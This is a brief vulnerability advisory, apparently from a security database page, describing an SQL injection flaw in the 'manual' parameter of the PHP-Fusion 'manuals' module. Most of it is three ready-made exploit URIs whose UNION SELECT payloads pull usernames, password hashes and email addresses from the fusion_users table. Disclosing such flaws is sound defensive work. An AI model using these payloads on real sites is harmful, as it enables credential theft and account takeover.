|
PHP-Fusion 'manuals' Module 'manual' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following example URIs are available: http://www.example.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_name,2+from+fusion_users--&page=1 http://www.example.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_password,2+from+fusion_users--&page=1 http://www.example.com/infusions/manuals/manuals.php?manual=-9999+union+all+select+user_email,2+from+fusion_users--&page=1 |
|
|
Privacy Statement |
